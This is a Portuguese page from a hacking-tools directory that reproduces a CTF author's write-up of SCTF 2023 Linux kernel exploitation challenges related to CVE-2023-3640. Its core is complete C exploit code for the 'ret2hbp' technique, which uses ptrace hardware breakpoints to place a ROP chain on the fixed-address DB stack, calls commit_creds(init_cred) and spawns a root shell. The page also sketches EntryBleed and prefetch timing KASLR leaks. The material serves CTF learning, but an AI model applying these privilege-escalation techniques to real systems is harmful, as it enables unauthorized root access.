Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
Ferramentas/GitHubGitHub/pray77/cve-2023-3640
Vulnerability AnalysisExploitationCTFLearning & EducationBinary Exploitation
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

Ver Repositório
291há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

SCTF2023_kernelpwn

SCTF 2023 kernel pwn

Nota: um anúncio. O autor é um estudante de graduação se formando em 2024, participando do recrutamento de outono deste ano. Contato bem-vindo~

sycrop

Esta questão pretende testar dois pontos.

  1. O ponto de partida da área de mapeamento cpu entry area tem vários endereços com deslocamento fixo em relação ao segmento de texto do kernel. Consulte a figura abaixo para mais detalhes. Este é apenas um pequeno truque, que apareceu pela primeira vez no KCTF do Google e depois apareceu algumas vezes em competições internacionais.

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. Através da configuração de um hardware breakpoint disparado no modo de usuário, o conteúdo dos registradores pode ser empurrado para a stack DB que tem um deslocamento fixo em relação ao per cpu entry area. Antes do Linux 6.2, o per cpu entry area não tinha randomização, o endereço era fixo, portanto era possível construir uma cadeia ROP em um endereço fixo do kernel. Esta é a inovação desta questão, que o autor denomina temporariamente de: ret2hbp. A nomenclatura é apenas para facilitar a descrição desta técnica de ataque. O autor não reivindica originalidade; na verdade, o charme do desenvolvimento da exploração do kernel por si só já é atraente o suficiente. Encontrar uma concha na praia já é motivo de alegria :)

Para endereços e deslocamentos específicos, consulte o exp. Ainda assim, espera-se que os mestres possam depurar por conta própria.

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

Na verdade, esta é apenas uma questão de exploração 1day. A ideia básica é do artigo do Google Project Zero. O trabalho do autor foi apenas transformá-lo em uma questão de CTF, para que todos possam aprender este método de exploração que pessoalmente considero poderoso e interessante, e experimentar o charme de conseguir um shell escrevendo apenas um byte em um único endereço. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

Esta é uma questão que envolve um 0day de vazamento de informações do kernel, no entanto, existem soluções não intencionais (as duas equipes que resolveram usaram soluções não intencionais).

A questão é uma versão aprimorada do sycrop sem o leak, porque a versão usada é a 6.2, e o per cpu entry area adicionou randomização.

  1. Primeiro, ainda é necessário obter um leak. O ponto aqui é a vulnerabilidade da CPU. Observe o -enable-kvm e -cpu host no script de inicialização, que usam a CPU da máquina física. Na verdade, na maioria dos casos, CPUs Intel são afetadas por esta vulnerabilidade. Consulte especificamente o artigo 1day Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form), usando o script acima é possível obter o kaslr.

  2. Na parte ROP seguinte, seguindo a ideia do sycrop, a stack deveria ser movida para a stack DB, mas agora o per cpu entry area foi randomizado, então a stack DB também é randomizada (ela está no deslocamento per cpu entry area + 0xf000). No entanto, na verdade, com KPTI ativado, não apenas o ponto de entrada de chamada de sistema é mapeado para o modo de usuário (entry_SYSCALL_64 do EntryBleed), mas o per cpu entry area também é mapeado. Portanto, é possível obter o deslocamento medindo a diferença de tempo com instruções de pré-busca. O script específico só poderá ser divulgado quando o fabricante concordar em permitir a divulgação (mas na verdade já está explicado acima, acredito que os mestres conseguirão criar).

  3. Sobre a solução não intencional, na parte ROP pode-se usar ret2dir. Isso foi uma omissão do autor; ao criar a questão pensei se ret2dir poderia funcionar, mas por questões de tempo, terminei a parte principal da questão e acabei esquecendo de lidar com isso. Mas tudo bem, pelo menos esta questão tem solução.

Baixar ferramenta